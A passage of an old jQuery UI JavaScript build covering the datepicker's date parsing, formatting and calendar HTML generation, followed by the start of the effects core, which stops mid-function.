            if (onSelect) onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);
            else if (inst.input) inst.input.trigger('change');
            if (inst.inline) this._updateDatepicker(inst);
            else if (!this._stayOpen) {
                this._hideDatepicker(null, this._get(inst, 'duration'));
                this._lastInput = inst.input[0];
                if (typeof(inst.input[0]) != 'object') inst.input[0].focus();
                this._lastInput = null;
            }
        },
        _updateAlternate: function(inst) {
            var altField = this._get(inst, 'altField');
            if (altField) {
                var altFormat = this._get(inst, 'altFormat');
                var date = this._getDate(inst);
                dateStr = (isArray(date) ? (!date[0] && !date[1] ? '' : this.formatDate(altFormat, date[0], this._getFormatConfig(inst)) + this._get(inst, 'rangeSeparator') + this.formatDate(altFormat, date[1] || date[0], this._getFormatConfig(inst))) : this.formatDate(altFormat, date, this._getFormatConfig(inst)));
                $(altField).each(function() {
                    $(this).val(dateStr);
                });
            }
        },
        noWeekends: function(date) {
            var day = date.getDay();
            return [(day > 0 && day < 6), ''];
        },
        iso8601Week: function(date) {
            var checkDate = new Date(date.getFullYear(), date.getMonth(), date.getDate());
            var firstMon = new Date(checkDate.getFullYear(), 1 - 1, 4);
            var firstDay = firstMon.getDay() || 7;
            firstMon.setDate(firstMon.getDate() + 1 - firstDay);
            if (firstDay < 4 && checkDate < firstMon) {
                checkDate.setDate(checkDate.getDate() - 3);
                return $.datepicker.iso8601Week(checkDate);
            } else if (checkDate > new Date(checkDate.getFullYear(), 12 - 1, 28)) {
                firstDay = new Date(checkDate.getFullYear() + 1, 1 - 1, 4).getDay() || 7;
                if (firstDay > 4 && (checkDate.getDay() || 7) < firstDay - 3) {
                    checkDate.setDate(checkDate.getDate() + 3);
                    return $.datepicker.iso8601Week(checkDate);
                }
            }
            return Math.floor(((checkDate - firstMon) / 86400000) / 7) + 1;
        },
        dateStatus: function(date, inst) {
            return $.datepicker.formatDate($.datepicker._get(inst, 'dateStatus'), date, $.datepicker._getFormatConfig(inst));
        },
        parseDate: function(format, value, settings) {
            if (format == null || value == null) throw 'Invalid arguments';
            value = (typeof value == 'object' ? value.toString() : value + '');
            if (value == '') return null;
            var shortYearCutoff = (settings ? settings.shortYearCutoff : null) || this._defaults.shortYearCutoff;
            var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
            var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
            var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
            var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
            var year = -1;
            var month = -1;
            var day = -1;
            var literal = false;
            var lookAhead = function(match) {
                    var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
                    if (matches) iFormat++;
                    return matches;
                };
            var getNumber = function(match) {
                    lookAhead(match);
                    var origSize = (match == '@' ? 14 : (match == 'y' ? 4 : 2));
                    var size = origSize;
                    var num = 0;
                    while (size > 0 && iValue < value.length && value.charAt(iValue) >= '0' && value.charAt(iValue) <= '9') {
                        num = num * 10 + (value.charAt(iValue++) - 0);
                        size--;
                    }
                    if (size == origSize) throw 'Missing number at position ' + iValue;
                    return num;
                };
            var getName = function(match, shortNames, longNames) {
                    var names = (lookAhead(match) ? longNames : shortNames);
                    var size = 0;
                    for (var j = 0; j < names.length; j++)
                    size = Math.max(size, names[j].length);
                    var name = '';
                    var iInit = iValue;
                    while (size > 0 && iValue < value.length) {
                        name += value.charAt(iValue++);
                        for (var i = 0; i < names.length; i++)
                        if (name == names[i]) return i + 1;
                        size--;
                    }
                    throw 'Unknown name at position ' + iInit;
                };
            var checkLiteral = function() {
                    if (value.charAt(iValue) != format.charAt(iFormat)) throw 'Unexpected literal at position ' + iValue;
                    iValue++;
                };
            var iValue = 0;
            for (var iFormat = 0; iFormat < format.length; iFormat++) {
                if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false;
                else checkLiteral();
                else switch (format.charAt(iFormat)) {
                case 'd':
                    day = getNumber('d');
                    break;
                case 'D':
                    getName('D', dayNamesShort, dayNames);
                    break;
                case 'm':
                    month = getNumber('m');
                    break;
                case 'M':
                    month = getName('M', monthNamesShort, monthNames);
                    break;
                case 'y':
                    year = getNumber('y');
                    break;
                case '@':
                    var date = new Date(getNumber('@'));
                    year = date.getFullYear();
                    month = date.getMonth() + 1;
                    day = date.getDate();
                    break;
                case "'":
                    if (lookAhead("'")) checkLiteral();
                    else literal = true;
                    break;
                default:
                    checkLiteral();
                }
            }
            if (year < 100) year += new Date().getFullYear() - new Date().getFullYear() % 100 + (year <= shortYearCutoff ? 0 : -100);
            var date = this._daylightSavingAdjust(new Date(year, month - 1, day));
            if (date.getFullYear() != year || date.getMonth() + 1 != month || date.getDate() != day) throw 'Invalid date';
            return date;
        },
        ATOM: 'yy-mm-dd',
        COOKIE: 'D, dd M yy',
        ISO_8601: 'yy-mm-dd',
        RFC_822: 'D, d M y',
        RFC_850: 'DD, dd-M-y',
        RFC_1036: 'D, d M y',
        RFC_1123: 'D, d M yy',
        RFC_2822: 'D, d M yy',
        RSS: 'D, d M y',
        TIMESTAMP: '@',
        W3C: 'yy-mm-dd',
        formatDate: function(format, date, settings) {
            if (!date) return '';
            var dayNamesShort = (settings ? settings.dayNamesShort : null) || this._defaults.dayNamesShort;
            var dayNames = (settings ? settings.dayNames : null) || this._defaults.dayNames;
            var monthNamesShort = (settings ? settings.monthNamesShort : null) || this._defaults.monthNamesShort;
            var monthNames = (settings ? settings.monthNames : null) || this._defaults.monthNames;
            var lookAhead = function(match) {
                    var matches = (iFormat + 1 < format.length && format.charAt(iFormat + 1) == match);
                    if (matches) iFormat++;
                    return matches;
                };
            var formatNumber = function(match, value) {
                    return (lookAhead(match) && value < 10 ? '0' : '') + value;
                };
            var formatName = function(match, value, shortNames, longNames) {
                    return (lookAhead(match) ? longNames[value] : shortNames[value]);
                };
            var output = '';
            var literal = false;
            if (date) for (var iFormat = 0; iFormat < format.length; iFormat++) {
                if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false;
                else output += format.charAt(iFormat);
                else switch (format.charAt(iFormat)) {
                case 'd':
                    output += formatNumber('d', date.getDate());
                    break;
                case 'D':
                    output += formatName('D', date.getDay(), dayNamesShort, dayNames);
                    break;
                case 'm':
                    output += formatNumber('m', date.getMonth() + 1);
                    break;
                case 'M':
                    output += formatName('M', date.getMonth(), monthNamesShort, monthNames);
                    break;
                case 'y':
                    output += (lookAhead('y') ? date.getFullYear() : (date.getYear() % 100 < 10 ? '0' : '') + date.getYear() % 100);
                    break;
                case '@':
                    output += date.getTime();
                    break;
                case "'":
                    if (lookAhead("'")) output += "'";
                    else literal = true;
                    break;
                default:
                    output += format.charAt(iFormat);
                }
            }
            return output;
        },
        _possibleChars: function(format) {
            var chars = '';
            var literal = false;
            for (var iFormat = 0; iFormat < format.length; iFormat++)
            if (literal) if (format.charAt(iFormat) == "'" && !lookAhead("'")) literal = false;
            else chars += format.charAt(iFormat);
            else switch (format.charAt(iFormat)) {
            case 'd':
            case 'm':
            case 'y':
            case '@':
                chars += '0123456789';
                break;
            case 'D':
            case 'M':
                return null;
            case "'":
                if (lookAhead("'")) chars += "'";
                else literal = true;
                break;
            default:
                chars += format.charAt(iFormat);
            }
            return chars;
        },
        _get: function(inst, name) {
            return inst.settings[name] !== undefined ? inst.settings[name] : this._defaults[name];
        },
        _setDateFromField: function(inst) {
            var dateFormat = this._get(inst, 'dateFormat');
            var dates = inst.input ? inst.input.val().split(this._get(inst, 'rangeSeparator')) : null;
            inst.endDay = inst.endMonth = inst.endYear = null;
            var date = defaultDate = this._getDefaultDate(inst);
            if (dates.length > 0) {
                var settings = this._getFormatConfig(inst);
                if (dates.length > 1) {
                    date = this.parseDate(dateFormat, dates[1], settings) || defaultDate;
                    inst.endDay = date.getDate();
                    inst.endMonth = date.getMonth();
                    inst.endYear = date.getFullYear();
                }
                try {
                    date = this.parseDate(dateFormat, dates[0], settings) || defaultDate;
                } catch (e) {
                    this.log(e);
                    date = defaultDate;
                }
            }
            inst.selectedDay = date.getDate();
            inst.drawMonth = inst.selectedMonth = date.getMonth();
            inst.drawYear = inst.selectedYear = date.getFullYear();
            inst.currentDay = (dates[0] ? date.getDate() : 0);
            inst.currentMonth = (dates[0] ? date.getMonth() : 0);
            inst.currentYear = (dates[0] ? date.getFullYear() : 0);
            this._adjustInstDate(inst);
        },
        _getDefaultDate: function(inst) {
            var date = this._determineDate(this._get(inst, 'defaultDate'), new Date());
            var minDate = this._getMinMaxDate(inst, 'min', true);
            var maxDate = this._getMinMaxDate(inst, 'max');
            date = (minDate && date < minDate ? minDate : date);
            date = (maxDate && date > maxDate ? maxDate : date);
            return date;
        },
        _determineDate: function(date, defaultDate) {
            var offsetNumeric = function(offset) {
                    var date = new Date();
                    date.setDate(date.getDate() + offset);
                    return date;
                };
            var offsetString = function(offset, getDaysInMonth) {
                    var date = new Date();
                    var year = date.getFullYear();
                    var month = date.getMonth();
                    var day = date.getDate();
                    var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;
                    var matches = pattern.exec(offset);
                    while (matches) {
                        switch (matches[2] || 'd') {
                        case 'd':
                        case 'D':
                            day += (matches[1] - 0);
                            break;
                        case 'w':
                        case 'W':
                            day += (matches[1] * 7);
                            break;
                        case 'm':
                        case 'M':
                            month += (matches[1] - 0);
                            day = Math.min(day, getDaysInMonth(year, month));
                            break;
                        case 'y':
                        case 'Y':
                            year += (matches[1] - 0);
                            day = Math.min(day, getDaysInMonth(year, month));
                            break;
                        }
                        matches = pattern.exec(offset);
                    }
                    return new Date(year, month, day);
                };
            date = (date == null ? defaultDate : (typeof date == 'string' ? offsetString(date, this._getDaysInMonth) : (typeof date == 'number' ? (isNaN(date) ? defaultDate : offsetNumeric(date)) : date)));
            date = (date && date.toString() == 'Invalid Date' ? defaultDate : date);
            if (date) {
                date.setHours(0);
                date.setMinutes(0);
                date.setSeconds(0);
                date.setMilliseconds(0);
            }
            return this._daylightSavingAdjust(date);
        },
        _daylightSavingAdjust: function(date) {
            if (!date) return null;
            date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
            return date;
        },
        _setDate: function(inst, date, endDate) {
            var clear = !(date);
            date = this._determineDate(date, new Date());
            inst.selectedDay = inst.currentDay = date.getDate();
            inst.drawMonth = inst.selectedMonth = inst.currentMonth = date.getMonth();
            inst.drawYear = inst.selectedYear = inst.currentYear = date.getFullYear();
            if (this._get(inst, 'rangeSelect')) {
                if (endDate) {
                    endDate = this._determineDate(endDate, null);
                    inst.endDay = endDate.getDate();
                    inst.endMonth = endDate.getMonth();
                    inst.endYear = endDate.getFullYear();
                } else {
                    inst.endDay = inst.currentDay;
                    inst.endMonth = inst.currentMonth;
                    inst.endYear = inst.currentYear;
                }
            }
            this._adjustInstDate(inst);
            if (inst.input) inst.input.val(clear ? '' : this._formatDate(inst) + (!this._get(inst, 'rangeSelect') ? '' : this._get(inst, 'rangeSeparator') + this._formatDate(inst, inst.endDay, inst.endMonth, inst.endYear)));
        },
        _getDate: function(inst) {
            var startDate = (!inst.currentYear || (inst.input && inst.input.val() == '') ? null : this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
            if (this._get(inst, 'rangeSelect')) {
                return [inst.rangeStart || startDate, (!inst.endYear ? inst.rangeStart || startDate : this._daylightSavingAdjust(new Date(inst.endYear, inst.endMonth, inst.endDay)))];
            } else return startDate;
        },
        _generateDatepicker: function(inst) {
            var today = new Date();
            today = this._daylightSavingAdjust(new Date(today.getFullYear(), today.getMonth(), today.getDate()));
            var showStatus = this._get(inst, 'showStatus');
            var isRTL = this._get(inst, 'isRTL');
            var clear = (this._get(inst, 'mandatory') ? '' : '<div class="ui-datepicker-clear"><a onclick="jQuery.datepicker._clearDate(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'clearStatus') || '&#xa0;') : '') + '>' + this._get(inst, 'clearText') + '</a></div>');
            var controls = '<div class="ui-datepicker-control">' + (isRTL ? '' : clear) + '<div class="ui-datepicker-close"><a onclick="jQuery.datepicker._hideDatepicker();"' + (showStatus ? this._addStatus(inst, this._get(inst, 'closeStatus') || '&#xa0;') : '') + '>' + this._get(inst, 'closeText') + '</a></div>' + (isRTL ? clear : '') + '</div>';
            var prompt = this._get(inst, 'prompt');
            var closeAtTop = this._get(inst, 'closeAtTop');
            var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');
            var navigationAsDateFormat = this._get(inst, 'navigationAsDateFormat');
            var numMonths = this._getNumberOfMonths(inst);
            var stepMonths = this._get(inst, 'stepMonths');
            var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
            var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new Date(9999, 9, 9) : new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
            var minDate = this._getMinMaxDate(inst, 'min', true);
            var maxDate = this._getMinMaxDate(inst, 'max');
            var drawMonth = inst.drawMonth;
            var drawYear = inst.drawYear;
            if (maxDate) {
                var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(), maxDate.getMonth() - numMonths[1] + 1, maxDate.getDate()));
                maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
                while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) > maxDraw) {
                    drawMonth--;
                    if (drawMonth < 0) {
                        drawMonth = 11;
                        drawYear--;
                    }
                }
            }
            var prevText = this._get(inst, 'prevText');
            prevText = (!navigationAsDateFormat ? prevText : this.formatDate(prevText, this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths, 1)), this._getFormatConfig(inst)));
            var prev = '<div class="ui-datepicker-prev">' + (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ? '<a onclick="jQuery.datepicker._adjustDate(\'#' + inst.id + '\', -' + stepMonths + ', \'M\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'prevStatus') || '&#xa0;') : '') + '>' + prevText + '</a>' : (hideIfNoPrevNext ? '' : '<label>' + prevText + '</label>')) + '</div>';
            var nextText = this._get(inst, 'nextText');
            nextText = (!navigationAsDateFormat ? nextText : this.formatDate(nextText, this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths, 1)), this._getFormatConfig(inst)));
            var next = '<div class="ui-datepicker-next">' + (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ? '<a onclick="jQuery.datepicker._adjustDate(\'#' + inst.id + '\', +' + stepMonths + ', \'M\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'nextStatus') || '&#xa0;') : '') + '>' + nextText + '</a>' : (hideIfNoPrevNext ? '' : '<label>' + nextText + '</label>')) + '</div>';
            var currentText = this._get(inst, 'currentText');
            currentText = (!navigationAsDateFormat ? currentText : this.formatDate(currentText, today, this._getFormatConfig(inst)));
            var html = (prompt ? '<div class="' + this._promptClass + '">' + prompt + '</div>' : '') + (closeAtTop && !inst.inline ? controls : '') + '<div class="ui-datepicker-links">' + (isRTL ? next : prev) + (this._isInRange(inst, (this._get(inst, 'gotoCurrent') && inst.currentDay ? currentDate : today)) ? '<div class="ui-datepicker-current">' + '<a onclick="jQuery.datepicker._gotoToday(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'currentStatus') || '&#xa0;') : '') + '>' + currentText + '</a></div>' : '') + (isRTL ? prev : next) + '</div>';
            var firstDay = this._get(inst, 'firstDay');
            var changeFirstDay = this._get(inst, 'changeFirstDay');
            var dayNames = this._get(inst, 'dayNames');
            var dayNamesShort = this._get(inst, 'dayNamesShort');
            var dayNamesMin = this._get(inst, 'dayNamesMin');
            var monthNames = this._get(inst, 'monthNames');
            var beforeShowDay = this._get(inst, 'beforeShowDay');
            var highlightWeek = this._get(inst, 'highlightWeek');
            var showOtherMonths = this._get(inst, 'showOtherMonths');
            var showWeeks = this._get(inst, 'showWeeks');
            var calculateWeek = this._get(inst, 'calculateWeek') || this.iso8601Week;
            var status = (showStatus ? this._get(inst, 'dayStatus') || '&#xa0;' : '');
            var dateStatus = this._get(inst, 'statusForDate') || this.dateStatus;
            var endDate = inst.endDay ? this._daylightSavingAdjust(new Date(inst.endYear, inst.endMonth, inst.endDay)) : currentDate;
            for (var row = 0; row < numMonths[0]; row++)
            for (var col = 0; col < numMonths[1]; col++) {
                var selectedDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, inst.selectedDay));
                html += '<div class="ui-datepicker-one-month' + (col == 0 ? ' ui-datepicker-new-row' : '') + '">' + this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate, maxDate, selectedDate, row > 0 || col > 0, showStatus, monthNames) + '<table class="ui-datepicker" cellpadding="0" cellspacing="0"><thead>' + '<tr class="ui-datepicker-title-row">' + (showWeeks ? '<td>' + this._get(inst, 'weekHeader') + '</td>' : '');
                for (var dow = 0; dow < 7; dow++) {
                    var day = (dow + firstDay) % 7;
                    var dayStatus = (status.indexOf('DD') > -1 ? status.replace(/DD/, dayNames[day]) : status.replace(/D/, dayNamesShort[day]));
                    html += '<td' + ((dow + firstDay + 6) % 7 >= 5 ? ' class="ui-datepicker-week-end-cell"' : '') + '>' + (!changeFirstDay ? '<span' : '<a onclick="jQuery.datepicker._changeFirstDay(\'#' + inst.id + '\', ' + day + ');"') + (showStatus ? this._addStatus(inst, dayStatus) : '') + ' title="' + dayNames[day] + '">' + dayNamesMin[day] + (changeFirstDay ? '</a>' : '</span>') + '</td>';
                }
                html += '</tr></thead><tbody>';
                var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
                if (drawYear == inst.selectedYear && drawMonth == inst.selectedMonth) inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
                var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) - firstDay + 7) % 7;
                var numRows = (isMultiMonth ? 6 : Math.ceil((leadDays + daysInMonth) / 7));
                var printDate = this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1 - leadDays));
                for (var dRow = 0; dRow < numRows; dRow++) {
                    html += '<tr class="ui-datepicker-days-row">' + (showWeeks ? '<td class="ui-datepicker-week-col">' + calculateWeek(printDate) + '</td>' : '');
                    for (var dow = 0; dow < 7; dow++) {
                        var daySettings = (beforeShowDay ? beforeShowDay.apply((inst.input ? inst.input[0] : null), [printDate]) : [true, '']);
                        var otherMonth = (printDate.getMonth() != drawMonth);
                        var unselectable = otherMonth || !daySettings[0] || (minDate && printDate < minDate) || (maxDate && printDate > maxDate);
                        html += '<td class="ui-datepicker-days-cell' + ((dow + firstDay + 6) % 7 >= 5 ? ' ui-datepicker-week-end-cell' : '') + (otherMonth ? ' ui-datepicker-otherMonth' : '') + (printDate.getTime() == selectedDate.getTime() && drawMonth == inst.selectedMonth ? ' ui-datepicker-days-cell-over' : '') + (unselectable ? ' ' + this._unselectableClass : '') + (otherMonth && !showOtherMonths ? '' : ' ' + daySettings[1] + (printDate.getTime() >= currentDate.getTime() && printDate.getTime() <= endDate.getTime() ? ' ' + this._currentClass : '') + (printDate.getTime() == today.getTime() ? ' ui-datepicker-today' : '')) + '"' + ((!otherMonth || showOtherMonths) && daySettings[2] ? ' title="' + daySettings[2] + '"' : '') + (unselectable ? (highlightWeek ? ' onmouseover="jQuery(this).parent().addClass(\'ui-datepicker-week-over\');"' + ' onmouseout="jQuery(this).parent().removeClass(\'ui-datepicker-week-over\');"' : '') : ' onmouseover="jQuery(this).addClass(\'ui-datepicker-days-cell-over\')' + (highlightWeek ? '.parent().addClass(\'ui-datepicker-week-over\')' : '') + ';' + (!showStatus || (otherMonth && !showOtherMonths) ? '' : 'jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\'' + (dateStatus.apply((inst.input ? inst.input[0] : null), [printDate, inst]) || '&#xa0;') + '\');') + '"' + ' onmouseout="jQuery(this).removeClass(\'ui-datepicker-days-cell-over\')' + (highlightWeek ? '.parent().removeClass(\'ui-datepicker-week-over\')' : '') + ';' + (!showStatus || (otherMonth && !showOtherMonths) ? '' : 'jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\'&#xa0;\');') + '" onclick="jQuery.datepicker._selectDay(\'#' + inst.id + '\',' + drawMonth + ',' + drawYear + ', this);"') + '>' + (otherMonth ? (showOtherMonths ? printDate.getDate() : '&#xa0;') : (unselectable ? printDate.getDate() : '<a>' + printDate.getDate() + '</a>')) + '</td>';
                        printDate.setDate(printDate.getDate() + 1);
                        printDate = this._daylightSavingAdjust(printDate);
                    }
                    html += '</tr>';
                }
                drawMonth++;
                if (drawMonth > 11) {
                    drawMonth = 0;
                    drawYear++;
                }
                html += '</tbody></table></div>';
            }
            html += (showStatus ? '<div style="clear: both;"></div><div id="ui-datepicker-status-' + inst.id + '" class="ui-datepicker-status">' + (this._get(inst, 'initStatus') || '&#xa0;') + '</div>' : '') + (!closeAtTop && !inst.inline ? controls : '') + '<div style="clear: both;"></div>' + ($.browser.msie && parseInt($.browser.version) < 7 && !inst.inline ? '<iframe src="javascript:false;" class="ui-datepicker-cover"></iframe>' : '');
            return html;
        },
        _generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate, maxDate, selectedDate, secondary, showStatus, monthNames) {
            minDate = (inst.rangeStart && minDate && selectedDate < minDate ? selectedDate : minDate);
            var html = '<div class="ui-datepicker-header">';
            if (secondary || !this._get(inst, 'changeMonth')) html += monthNames[drawMonth] + '&#xa0;';
            else {
                var inMinYear = (minDate && minDate.getFullYear() == drawYear);
                var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
                html += '<select class="ui-datepicker-new-month" ' + 'onchange="jQuery.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'M\');" ' + 'onclick="jQuery.datepicker._clickMonthYear(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'monthStatus') || '&#xa0;') : '') + '>';
                for (var month = 0; month < 12; month++) {
                    if ((!inMinYear || month >= minDate.getMonth()) && (!inMaxYear || month <= maxDate.getMonth())) html += '<option value="' + month + '"' + (month == drawMonth ? ' selected="selected"' : '') + '>' + monthNames[month] + '</option>';
                }
                html += '</select>';
            }
            if (secondary || !this._get(inst, 'changeYear')) html += drawYear;
            else {
                var years = this._get(inst, 'yearRange').split(':');
                var year = 0;
                var endYear = 0;
                if (years.length != 2) {
                    year = drawYear - 10;
                    endYear = drawYear + 10;
                } else if (years[0].charAt(0) == '+' || years[0].charAt(0) == '-') {
                    year = endYear = new Date().getFullYear();
                    year += parseInt(years[0], 10);
                    endYear += parseInt(years[1], 10);
                } else {
                    year = parseInt(years[0], 10);
                    endYear = parseInt(years[1], 10);
                }
                year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
                endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) : endYear);
                html += '<select class="ui-datepicker-new-year" ' + 'onchange="jQuery.datepicker._selectMonthYear(\'#' + inst.id + '\', this, \'Y\');" ' + 'onclick="jQuery.datepicker._clickMonthYear(\'#' + inst.id + '\');"' + (showStatus ? this._addStatus(inst, this._get(inst, 'yearStatus') || '&#xa0;') : '') + '>';
                for (; year <= endYear; year++) {
                    html += '<option value="' + year + '"' + (year == drawYear ? ' selected="selected"' : '') + '>' + year + '</option>';
                }
                html += '</select>';
            }
            html += '</div>';
            return html;
        },
        _addStatus: function(inst, text) {
            return ' onmouseover="jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\'' + text + '\');" ' + 'onmouseout="jQuery(\'#ui-datepicker-status-' + inst.id + '\').html(\'&#xa0;\');"';
        },
        _adjustInstDate: function(inst, offset, period) {
            var year = inst.drawYear + (period == 'Y' ? offset : 0);
            var month = inst.drawMonth + (period == 'M' ? offset : 0);
            var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) + (period == 'D' ? offset : 0);
            var date = this._daylightSavingAdjust(new Date(year, month, day));
            var minDate = this._getMinMaxDate(inst, 'min', true);
            var maxDate = this._getMinMaxDate(inst, 'max');
            date = (minDate && date < minDate ? minDate : date);
            date = (maxDate && date > maxDate ? maxDate : date);
            inst.selectedDay = date.getDate();
            inst.drawMonth = inst.selectedMonth = date.getMonth();
            inst.drawYear = inst.selectedYear = date.getFullYear();
            if (period == 'M' || period == 'Y') this._notifyChange(inst);
        },
        _notifyChange: function(inst) {
            var onChange = this._get(inst, 'onChangeMonthYear');
            if (onChange) onChange.apply((inst.input ? inst.input[0] : null), [new Date(inst.selectedYear, inst.selectedMonth, 1), inst]);
        },
        _getNumberOfMonths: function(inst) {
            var numMonths = this._get(inst, 'numberOfMonths');
            return (numMonths == null ? [1, 1] : (typeof numMonths == 'number' ? [1, numMonths] : numMonths));
        },
        _getMinMaxDate: function(inst, minMax, checkRange) {
            var date = this._determineDate(this._get(inst, minMax + 'Date'), null);
            return (!checkRange || !inst.rangeStart ? date : (!date || inst.rangeStart > date ? inst.rangeStart : date));
        },
        _getDaysInMonth: function(year, month) {
            return 32 - new Date(year, month, 32).getDate();
        },
        _getFirstDayOfMonth: function(year, month) {
            return new Date(year, month, 1).getDay();
        },
        _canAdjustMonth: function(inst, offset, curYear, curMonth) {
            var numMonths = this._getNumberOfMonths(inst);
            var date = this._daylightSavingAdjust(new Date(curYear, curMonth + (offset < 0 ? offset : numMonths[1]), 1));
            if (offset < 0) date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
            return this._isInRange(inst, date);
        },
        _isInRange: function(inst, date) {
            var newMinDate = (!inst.rangeStart ? null : this._daylightSavingAdjust(new Date(inst.selectedYear, inst.selectedMonth, inst.selectedDay)));
            newMinDate = (newMinDate && inst.rangeStart < newMinDate ? inst.rangeStart : newMinDate);
            var minDate = newMinDate || this._getMinMaxDate(inst, 'min');
            var maxDate = this._getMinMaxDate(inst, 'max');
            return ((!minDate || date >= minDate) && (!maxDate || date <= maxDate));
        },
        _getFormatConfig: function(inst) {
            var shortYearCutoff = this._get(inst, 'shortYearCutoff');
            shortYearCutoff = (typeof shortYearCutoff != 'string' ? shortYearCutoff : new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
            return {
                shortYearCutoff: shortYearCutoff,
                dayNamesShort: this._get(inst, 'dayNamesShort'),
                dayNames: this._get(inst, 'dayNames'),
                monthNamesShort: this._get(inst, 'monthNamesShort'),
                monthNames: this._get(inst, 'monthNames')
            };
        },
        _formatDate: function(inst, day, month, year) {
            if (!day) {
                inst.currentDay = inst.selectedDay;
                inst.currentMonth = inst.selectedMonth;
                inst.currentYear = inst.selectedYear;
            }
            var date = (day ? (typeof day == 'object' ? day : this._daylightSavingAdjust(new Date(year, month, day))) : this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
            return this.formatDate(this._get(inst, 'dateFormat'), date, this._getFormatConfig(inst));
        }
    });

    function extendRemove(target, props) {
        $.extend(target, props);
        for (var name in props)
        if (props[name] == null || props[name] == undefined) target[name] = props[name];
        return target;
    };

    function isArray(a) {
        return (a && (($.browser.safari && typeof a == 'object' && a.length) || (a.constructor && a.constructor.toString().match(/\Array\(\)/))));
    };
    $.fn.datepicker = function(options) {
        var otherArgs = Array.prototype.slice.call(arguments, 1);
        if (typeof options == 'string' && (options == 'isDisabled' || options == 'getDate')) return $.datepicker['_' + options + 'Datepicker'].apply($.datepicker, [this[0]].concat(otherArgs));
        return this.each(function() {
            typeof options == 'string' ? $.datepicker['_' + options + 'Datepicker'].apply($.datepicker, [this].concat(otherArgs)) : $.datepicker._attachDatepicker(this, options);
        });
    };
    $.datepicker = new Datepicker();
    $(document).ready(function() {
        $(document.body).append($.datepicker.dpDiv).mousedown($.datepicker._checkExternalClick);
    });
})(jQuery);;
(function($) {
    $.effects = $.effects || {};
    $.extend($.effects, {
        save: function(el, set) {
            for (var i = 0; i < set.length; i++) {
                if (set[i] !== null) $.data(el[0], "ec.storage." + set[i], el[0].style[set[i]]);
            }
        },
        restore: function(el, set) {
            for (var i = 0; i < set.length; i++) {
                if (set[i] !== null) el.css(set[i], $.data(el[0], "ec.storage." + set[i]));
            }
        },
        setMode: function(el, mode) {
            if (mode == 'toggle') mode = el.is(':hidden') ? 'show' : 'hide';
            return mode;
        },
        getBaseline: function(origin, original) {
            var y, x;
            switch (origin[0]) {
            case 'top':
                y = 0;
                break;
            case 'middle':
                y = 0.5;
                break;
            case 'bottom':
                y = 1;
                break;
            default:
                y = origin[0] / original.height;
            };
            switch (origin[1]) {
            case 'left':
                x = 0;
                break;
            case 'center':
                x = 0.5;
                break;
            case 'right':
                x = 1;
                break;
            default:
                x = origin[1] / original.width;
            };
            return {
                x: x,
                y: y
            };
        },
        createWrapper: function(el) {
            if (el.parent().attr('id') == 'fxWrapper') return el;
            var props = {
                width: el.outerWidth({
                    margin: true
                }),
                height: el.outerHeight({
                    margin: true
                }),
                'float': el.css('float')
            };
            el.wrap('<div id="fxWrapper" style="font-size:100%;background:transparent;border:none;margin:0;padding:0"></div>');
            var wrapper = el.parent();
            if (el.css('position') == 'static') {
                wrapper.css({
                    position: 'relative'
                });
                el.css({
                    position: 'relative'
                });
            } else {
                var top = el.css('top');
                if (isNaN(parseInt(top))) top = 'auto';
                var left = el.css('left');
                if (isNaN(parseInt(left))) left = 'auto';
                wrapper.css({
                    position: el.css('position'),
                    top: top,
                    left: left,
                    zIndex: el.css('z-index')
                }).show();
                el.css({
                    position: 'relative',
                    top: 0,
                    left: 0
                });
            }
            wrapper.css(props);
            return wrapper;
        },
        removeWrapper: function(el) {
            if (el.parent().attr('id') == 'fxWrapper') return el.parent().replaceWith(el);
            return el;
        },
        setTransition: function(el, list, factor, val) {
            val = val || {};
            $.each(list, function(i, x) {
                unit = el.cssUnit(x);
                if (unit[0] > 0) val[x] = unit[0] * factor + unit[1];
            });
            return val;
        },
        animateClass: function(value, duration, easing, callback) {
